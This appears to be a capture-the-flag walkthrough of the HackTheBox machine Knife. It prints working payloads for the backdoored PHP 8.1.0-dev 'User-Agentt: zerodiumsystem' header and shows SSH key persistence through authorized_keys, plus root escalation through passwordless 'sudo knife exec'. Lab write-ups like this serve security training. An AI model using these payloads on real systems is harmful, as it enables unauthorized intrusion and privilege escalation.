HackTheBox — Knife
Covers network service scanning (T1046), software discovery (T1518), supply chain compromise (T1195.001) within the open source PHP project, remote code execution (T1210), compromising a user’s authorized_keys and id_rsa files (T1021.004), and abusing sudo (T1548.003) to gain root privileges.
The difficulty for this was deemed to be easy and covered network service scanning (T1046), software discovery (T1518), supply chain compromise (T1195.001) within the open source PHP project, remote code execution (T1210), compromising a user’s authorized_keys
and id_rsa
files (T1021.004), and abusing sudo
(T1548.003) to gain root
privileges.
To start, we are given our target machine address, 10.10.10.242
. The first step we are going to take is performing network discovery against the target using nmap
.
$ nmap -sC -sV -sT -p- -Pn --open -v -oA Knife.Tcp.All -T5 10.10.10.242
Once the scan is done, we can observe that the target is exposing ports 80
(HTTP) and 22
(SSH) to the public. We also can observe that nmap
reports the web server as Apache 2.4.41
.
Navigating over to the web application running on 80
, we are greeted with a static page. Looking over the source code carefully, you won’t find any links taking you to another page. There are a few Javascript references but looking those resources over also yields very little use. A quick check of /robots.txt
also yields no help.
A logical next step would be to start executing a brute force directory enumeration against the web server to see if any hidden files or directories are exposed. For this, we’re going to use feroxbuster
. You can find precompiled binaries for your operating system of choice at https://github.com/epi052/feroxbuster/releases. Here we’re using a Debian environment and grab the .deb
package.
$ sudo dpkg -i feroxbuster_2.3.2_amd64.debSelecting previously unselected package feroxbuster.
(Reading database ... 261439 files and directories currently installed.)
Preparing to unpack feroxbuster_2.3.2_amd64.deb ...
Unpacking feroxbuster (2.3.2) ...
Setting up feroxbuster (2.3.2) ...$ feroxbustererror: The following required arguments were not provided:
--url <URL>...USAGE:
feroxbuster [FLAGS] [OPTIONS] --url <URL>...For more information try --help
feroxbuster
requires a wordlist and a target to proceed. A fantastic resource for wordlists is the SecLists repository (https://github.com/danielmiessler/SecLists). With it cloned down to your system, we can proceed with feroxbuster
.
$ sudo git clone https://github.com/danielmiessler/SecLists.git
Cloning into 'SecLists'...
remote: Enumerating objects: 10037, done.
remote: Counting objects: 100% (182/182), done.
remote: Compressing objects: 100% (92/92), done.
Receiving objects: 66% (6692/10037), 350.60 MiB | 1.71 MiB/s
remote: Total 10037 (delta 117), reused 152 (delta 90), pack-reused 9855
Receiving objects: 100% (10037/10037), 780.51 MiB | 1.71 MiB/s, done.
Resolving deltas: 100% (5264/5264), done.
Updating files: 100% (5362/5362), done.$ feroxbuster -u http://10.10.10.242 -w /opt/git/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -o ./feroxbuster-output-2
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.2
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.242
🚀 Threads │ 50
📖 Wordlist │ /opt/git/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.2
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💾 Output File │ ./feroxbuster-output-2
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 9l 28w 277c http://10.10.10.242/server-status
[###>----------------] - 3m 191938/1273818 19m found:1 errors:4
[###>----------------] - 3m 191938/1273818 920/s http://10.10.10.242
Hopefully that will yield results. In the mean time, we should take a closer look at the web application. By checking the HTTP response headers, a new piece of information makes itself known. The web application is utilizing an interesting back-end, PHP/8.1.0-dev
. Some light googling will show that this particular version of PHP had a malicious commit made to the code base in March of 2021. This commit contained code that allowed commands sent to the vulnerable server via a “typo-ed” HTTP header, User Agentt: zerodiumsystem(‘’);
, to be executed on the back-end. You’re more than welcome to grab some prefabricated exploit off the shelf and hope it works, but we don’t need any of that fancy stuff. We have a web browser with developer tools!
If you are enjoying this article your support would be greatly appreciated!
So, open up developer tools (F12) and navigate to the Network tab. Here, we can edit and resend previous requests. So, as a test, we’ll resend the initial GET request but include our new header with the uname
command:
User Agentt: zerodiumsystem('uname');
Sending our edited request should get a response back of 200 OK but where is our response? Viewing the raw HTML, you will find the command output just before the <!DOCTYPE html>
tag.
We see that we have Linux
returned to us, so we know that our command worked! Now, we’ll see who and where we are:
User Agentt: zerodiumsystem('whoami; uname -a');
We observe that we are executing as the user james
and are playing in an Ubuntu
system. Recalling that SSH
is exposed publicly, we can check to see if we can grab the SSH
public/private key pair (id_rsa
, id_rsa.pub
)for james
and login directly. First, verify that the contents of id_rsa.pub
match the contents of authorized_keys
. In my case, they did not. This may be by design or someone didn’t clean up after themselves. I used the PHP exploit and echo
to append the public key for james
into authorized_keys
.
User-Agentt: zerodiumsystem('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7tE+UiQFxsKPMvcYrEmknKJS5WvEubet6M8aVop2chiquvBgMc01DCd2tT37s+tFTp6JcSx0NvskbGycQEYlF1nSpZFBU0vGw+mzBcEC9Ph0Mu/Ft3HEhLSOEHfdzlAVmwWOtJ1zyIZqKD5MtWD8D7l7ZtI1gVXRe4Otk64Wsk+xL2BX7jur8VV9vMbSjgJU3+b4jt7t4VGxv19aizJn2OL1H+0iOy2MNkKsqmPBq2gGikIJAA8iRJ+SdwLt4qsKx2VHJoZR2raGvRpMeCT/Dp2c5unWAuiylJ1jVp5auKq5QH02o1TVnBP2GRv8RJPrsxIjTE1QtrM3TCVmG56PKnB0ethZ5Brkv92Wd2eF/OD3Hlg5gs6WfR1lWNpZqPe6uFgrZS8z+mTKu/E4ND1VJvZ4BvxCqf3k4/J+yVqdatR4qshcLPcyyba7pYWX93dAptL8H9vVaL78mpL5VL+jFz8A5VQL+Itw74GClovzhFVzGCzH0SWloDxF+umYYsEImBnfVC2NKTryh4AF7PLOAQN7tXcspdmEeKOGl1uWCjOVj1zcgAhxn20YzGwFGDJ/PazeCfb1NPXL+jPj6LGWFIg13uvN1k6rwXtrmlWlYkgEYkOMvHTrBCTOsBHrYzow8NBuRV8hhbhntnIQNi3MT19dfTAhBdxaabAyiJ2/BEw== james@localhost" >> ~/.ssh/authorized_keys');
Copying the contents of id_rsa
to your local machine allows you to specify the private key file when attempting to connect via SSH
. Remember to alter the permissions on the private key before you try to use it:
$ chmod 600 id_rsa.james
$ ssh james@10.10.10.242 -i ./id_rsa.james
Success! Take this opportunity to grab your user flag.
One of the first things I like to do when on a Linux system is to check what, if anything, I can sudo
with sudo -l
. We see that james
has the ability to execute sudo /usr/bin/knife
as the root
account without providing a password. A little research will show that the knife
binary is a ruby script that has a wide range of functionality. One interesting function is the ability to execute other ruby scripts using knife exec
. I typically like to create myself a personal test directory ~./.debifrank/
and proceed to create a test script in ruby that creates an empty file in my working directory.
james@knife:~/.debifrank$ ls
test.rbjames@knife:~/.debifrank$ sudo knife exec ~/.debifrank/test.rbjames@knife:~/.debifrank$ ls
test test.rbjames@knife:~/.debifrank$ cat test.rb
value = `touch /home/james/.debifrank/test`james@knife:~/.debifrank$ ls -alh
total 12K
drwxrwxr-x 2 james james 4.0K Aug 21 02:32 .
drwxr-xr-x 6 james james 4.0K Aug 21 02:29 ..
-rw-r--r-- 1 root root 0 Aug 21 02:32 test
-rw-rw-r-- 1 james james 44 Aug 21 02:32 test.rb
We can see that the test file was created successfully and is owned by the root
user. Repeating our abuse of SSH, we can then create a new public/private SSH keypair using ssh-keygen
and add the public key contents to the authorized_keys
file for the root
account.
james@knife:~/.debifrank$ cat test.rb
value = `echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDtEpzx+6SJIATflDpUJ6Jidtk3pkGKTe6mNTs7CVJfObQE/hTg9mQEri7/HQq50FnhvD1vn42W/i6HBMyUCkw36gpcc9df36au3bz4XkAnD9Flwex4ZKSKmHHBFbCUaYqnAzhNP2MjnDEYK3j6npZGtXxutczncPl6LKk+yIsSjywAYlnD7sqln1D6/Pk9FQUrYaAvpQ7jVUSSZ1Kfg38zDrzH0SKEY4o2qhuAzVn51b/048+u4L1EkrwVw+2ykk5YRJCST7wHe2VsgUmSjnKRb7hAqHqS0tdui3QdCfouN2g/bpcJLtFkz2b65gQICPgHJz+4corc7NaB/rcWLxjLpvyuCAxg8NjJzuCUzTGqc+LQyXYXZxlg6Bpbv7OdY/TGWuhb8r1dtRhPMgIvDLpWZpXXvVbz/9nQ8N7CtaWVQXoZKXQBbLV+7q/kW85xa5JvcR2ZvVbjSeZCCm+QB75K4Pf5qMo+7IEUY/0gdcQHq61isCp+/Yg84lVH/TDJBS8= debifrank@debifrank-personal" >> /root/.ssh/authorized_keys`james@knife:~/.debifrank$ sudo knife exec ~/.debifrank/test.rb
Now we can login as the root
user over SSH and take our root.txt
flag.
If you were wondering about the brute force directory enumeration via feroxbuster
, it did not return anything. This is good news considering a quick check of the /var/www/html
directory results in the single index.php
file we already inspected.
Overall, I thought this was a great beginner machine. It’s a nice opportunity to observe the impacts of open source contributions if not carefully inspected.